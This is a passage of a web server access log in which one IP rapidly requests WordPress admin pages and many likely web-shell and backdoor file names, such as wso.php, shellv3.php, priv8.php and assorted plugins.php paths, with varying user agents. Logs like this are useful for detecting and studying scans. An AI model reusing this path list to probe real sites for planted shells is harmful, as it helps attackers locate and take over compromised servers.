AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:22 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:23 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:23 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:23 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:23 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:23 -0400] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:24 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:25 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:26 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:26 -0400] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:33:26 -0400] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:26 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:26 -0400] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:27 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:28 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:29 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:29 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:29 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:29 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:29 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:30 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:31 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:32 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:33 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:33 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:33 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:33 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:33 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:34 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:34 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:34 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:34 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:35 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:35 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:35 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:35 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:33:35 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:36 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:37 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:38 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:38 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:38 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:38 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:38 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:39 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:40 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:41 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:33:41 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:41 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:41 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:33:41 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:42 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:33:42 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:33:42 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:42 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:42 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:33:43 -0400] "GET 